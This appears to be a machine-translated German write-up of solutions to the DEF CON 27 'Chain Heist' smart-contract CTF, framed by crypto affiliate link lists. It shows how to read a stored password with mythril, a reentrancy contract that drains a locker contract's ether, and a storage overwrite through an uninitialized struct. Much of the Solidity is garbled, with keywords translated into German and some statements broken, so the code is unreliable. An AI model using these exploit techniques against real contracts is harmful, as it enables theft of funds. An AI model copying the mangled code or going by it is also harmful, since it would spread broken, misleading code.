Free Bitcoins: FreeBitcoin | BonusBitcoin
Coins Kaufen: Bitcoin.de | AnycoinDirekt | Coinbase | CoinMama (mit Kreditkarte) | Paxfull
Handelsplätze / Börsen: Bitcoin.de | KuCoin | Binance | BitMex | Bitpanda | eToro
Lending / Zinsen erhalten: Celsius Network | Coinlend (Bot)
Cloud Mining: Hashflare | Genesis Mining | IQ Mining
In Defcon 27 gab es ein Blockchain Security Village mit einer Reihe hervorragender Gespräche und Wettbewerbe. Während der Veranstaltung hatte ich das Vergnügen, einen intelligenten Vertragssicherheits-CTF namens Chain Heist zu konkurrieren und zu gewinnen. Der Wettbewerb wurde von Synopsys gesponsert und beinhaltete 23 Herausforderungen mit unterschiedlichen Schwierigkeitsgraden.
Die unten stehende Beschreibung enthält Informationen zum Spiel sowie Lösungen für einige meiner Lieblingsherausforderungen.
Einer der Höhepunkte des Spiels war eine schöne Benutzeroberfläche, die als Ethereum-DApp erstellt wurde und Verträge für jeden Spieler automatisch bereitstellen kann. Sie müssen Metamask installieren und sich als Kopfgeldjäger registrieren, bevor Sie teilnehmen können.
Jede Herausforderung enthielt eine anfällige intelligente Vertragsadresse und einen optionalen Bereitstellungsmechanismus:
Es war möglich, aktuelle Teilnehmer und auf der Kopfgeldjägerseite erzielte Punkte zu verfolgen. Hier sieht man den engen Wettlauf zwischen mir und Maurelian gegen Ende des Wettbewerbs:
Account entsperren (einfach)
Herausforderung: Helfen Sie mir, das unter der Vertragsadresse 0x8e852b8ce63a2d1b4d4E7d3404c05363a32F0AB0 gespeicherte Passwort zu finden
Pragma Solidität ^ 0,5,0;Vertrag AccountUnlock { string public password = “[REDACTED]”; function verify (string memory _password) public view gibt zurück (bool) {
require (keccak256 (abi.encode (password)) == keccak256 (abi.encode (_password)));
return true;
}
}
Basierend auf der obigen Quelle wird der Vertrag mit einem Wert, der im ersten Speicherplatz „Passwort“ gespeichert ist, entsperrt. Wir werden das ausgezeichnete Hilfsprogramm mythril verwenden, um zu lesen, was dort gespeichert ist:
$ myth read-storage - rpc infura-ropsten 0 0x8e852b8ce63a2d1b4d4E7d3404c05363a32F0AB0
0: 0x5374726f6e6750617373776f7264313233000000000000000000000000000022
Das Konvertieren der obigen Hex-Werte in ASCII ergibt das verwendete Passwort: StrongPassword123
Bankschließfach (mittel)
Herausforderung: Mehr zu bekommen als Sie einzahlen, macht immer Spaß. Entleere den Zielvertrag von all seinem Äther.
Pragma Solidität ^ 0,5,0;import "../zeppelin/SafeMath.sol";Vertrag Locker { Verwenden von SafeMath für uint256;
Zuordnung (Adresse => uint256) Privatguthaben;
Zuordnung (Adresse => Bool) Private AccountBook; Modifikator checkPoint () {
erfordern (accountBook[msg.sender], "Sie müssen einen Account bei uns haben");
_;
} Modifikator existiert bereits () {
erfordern (! accountBook[msg.sender], "Sie sind bereits Kontoinhaber");
_;
} Funktion createAcc () public alreadyExists () {
Geschäftsbuch[msg.sender]= wahr;
} Funktion deposit () interner checkPoint () {
require (msg.value> 0, "Bitte senden Sie etwas Geld");
Balance[msg.sender] = Gleichgewicht[msg.sender].add (msg.value);
} Funktion checkBalanceUser () public view checkPoint () returns (uint256) {
Guthaben zurückzahlen[msg.sender];
} Funktion withDraw (uint256 _amount) public checkPoint () {
benötigen[msg.sender]> 0, "Sie haben kein Guthaben");
Balance[msg.sender] = Gleichgewicht[msg.sender](Betrag);
address (msg.sender) .call.value (_amount) ("");
} Funktion closeAccount () public checkPoint () {
benötigen[msg.sender]> 0, "Sie haben kein Guthaben");
Adresse (msg.sender) .call.value (balance[msg.sender]) ("");
Geschäftsbuch[msg.sender] = falsch;
Balance[msg.sender]= 0;
} Funktion checkBalance () öffentliche Renditen anzeigen (uint256) {
Rücksendeadresse (diese) .balance;
} Funktion () zahlbar extern {
Anzahlung();
}
}
Der obige Code ist anfällig für die Sicherheitsanfälligkeit beim Aufrufen der Konto schließen() Funktion. Wir können es mit dem folgenden Vertrag ausnutzen, der die anfällige Funktion jedes Mal, wenn Gelder eingehen, fortlaufend aufruft:
Vertrag Wiedereintritt {
zahlbare Adresse public addr = 0xb947F6Bd0FB99219ddf1FEa82281125396f12634;
Schließfach öffentliches Schließfach;Konstruktor () öffentlich zahlbar {
Schließfach = Schließfach (Adr);
}
Funktion attack () public {
locker.createAcc ();
addr.call.value (address (this) .balance) ("");
locker.closeAccount (); // Exploit auslösen
}
function () external payable {
if (Adresse (Schließfach) .balance! = 0) {
locker.closeAccount (); // erneut eingeben
}
}
}
Herausforderung: Ethereum ist eine offene Plattform mit viel Sichtbarkeit. Wenn der Quellcode jedoch nicht bereitgestellt wird, müssen Sie selbst herausfinden, was ein Vertrag leisten kann. Stellen Sie diesen Vertrag bereit und ändern Sie den Wert von "gelöst" in "boolean true".
Pragma Solidität ^ 0,5,0;Vertrag ReverseEng {
Bool public gelöst = falsch; function () external payable {
// [REDACTED]
gelöst = wahr;
}
}
Der Vertragsquellcode fehlt meistens, daher müssen wir zuerst den Bytecode dekompilieren:
bool gelöst;Funktion 799320bb () public view {
return (gelöst);
}function () public payable {
require ((msg.value == 2a));
gelöst = wahr;
Rückkehr;
}
Der Vertrag definiert eine einzelne Fallback Payable-Funktion, die die gelöste Variable umdreht. Es werden genau 42 Wei benötigt, um zu laufen.
Herausforderung: Können Sie bitte ein Fahrzeug mit der Seriennummer "12345" und dem Eigentümernamen "RandomUser" registrieren?
Pragma Solidität ^ 0,4,24;Vertrag VehicleRegister {
bool public registrationAllowed = false; struct Record {
uint256 serialNumber;
string Ownername;
bytes32 registrationTag;
} struct UniqueTag {
bytes32 registrationTag;
string licenseNumber;
} Zuordnung (uint256 => bytes32) private registrationTagRecord;
Zuordnung (bytes32 => bool) private registrationTagRecordExists;
Zuordnung (bytes32 => UniqueTag) private uniqueIDRecord; function registerVehicle (uint256 _serialNumber, string _Ownername) public {
erfordern (registrationAllowed, "Entschuldigung, Registrierung ist geschlossen");
Aufzeichnen aufzeichnen;
record.Ownername = _Ownername;
record.serialNumber = _serialNumber;
record.registrationTag = keccak256 (abi.encode (_serialNumber, _Ownername));
registrationTagRecord[_serialNumber]= record.registrationTag;
registrationTagRecordExists[record.registrationTag] = wahr;
} Funktion getRegistrationTag (uint256 _serialNumber) public view return (bytes32) { erfordern (registrationTagRecordExists[registrationTagRecord[registrationTagRecord[_serialNumber]]);
return registrationTagRecord[_serialNumber];
} function getUniqueID (bytes32 _registrationTag, string _licenseNumber) public return (bytes32) {
UniqueTag-Instanz;
instance.registrationTag = _registrationTag;
instance.licenseNumber = _licenseNumber;
if (! registrationTagRecordExists[_registrationTag]) {
return keccak256 (abi.encode ("0000"));
}
bytes32 _uniqueID = keccak256 (abi.encode (_registrationTag, _licenseNumber));
uniqueIDRecord[_uniqueID]= Instanz;
return _uniqueID;
} Funktion registrationTagVerify (bytes32 _registrationTag) public view returns (bool) {
return registrationTagRecordExists[_registrationTag];
}
}
Um ein neues Fahrzeug anzumelden, müssen wir anrufen registerVehicle () Funktion. Leider ist die boolesche Variable RegistrierungErlaubt ist auf False gesetzt, ohne dass eine offensichtliche Möglichkeit zum Zurücksetzen besteht.
Beachten Sie zwei Strukturen im obigen Quellcode: Aufzeichnung und UniqueTag. Ein wichtiges Merkmal von Strukturen ist, dass sie standardmäßig globalen Speicher verwenden, wenn Sie nicht das Schlüsselwort "memory" angeben, wenn Sie innerhalb einer Funktion auf sie zugreifen. Dies könnte unerwünschte Auswirkungen auf das Überschreiben der dort gespeicherten Daten haben. Das getUniqueID Fehlt das Schlüsselwort "memory", so würde es tatsächlich alles im Speicher überschreiben:
function getUniqueID (bytes32 _registrationTag, string _licenseNumber) public return (bytes32) {
UniqueTag-Instanz; // Fehlendes Schlüsselwort "memory"
instance.registrationTag = _registrationTag; // Speicher 0
instance.licenseNumber = _licenseNumber; // Speicher 1
Der erste Speicherplatz ist in der Tat die boolesche RegistrationAllowed, die uns daran hindert, ein neues Fahrzeug zu registrieren. Es ist derzeit auf false gesetzt:
$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000000
Überschreiben wir es, indem wir die oben genannte Sicherheitsanfälligkeit mit Remix ausnutzen:
Wenn Sie den Speichersteckplatz erneut überprüfen, wird bestätigt, dass er auf true zurückgesetzt wurde:
$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000001
Zu diesem Zeitpunkt können wir eine neue Transaktion einreichen, um ein Fahrzeug zu registrieren und die Herausforderung abzuschließen.
Free Bitcoins: FreeBitcoin | BonusBitcoin
Coins Kaufen: Bitcoin.de | AnycoinDirekt | Coinbase | CoinMama (mit Kreditkarte) | Paxfull
Handelsplätze / Börsen: Bitcoin.de | KuCoin | Binance | BitMex | Bitpanda | eToro
Lending / Zinsen erhalten: Celsius Network | Coinlend (Bot)
Cloud Mining: Hashflare | Genesis Mining | IQ Mining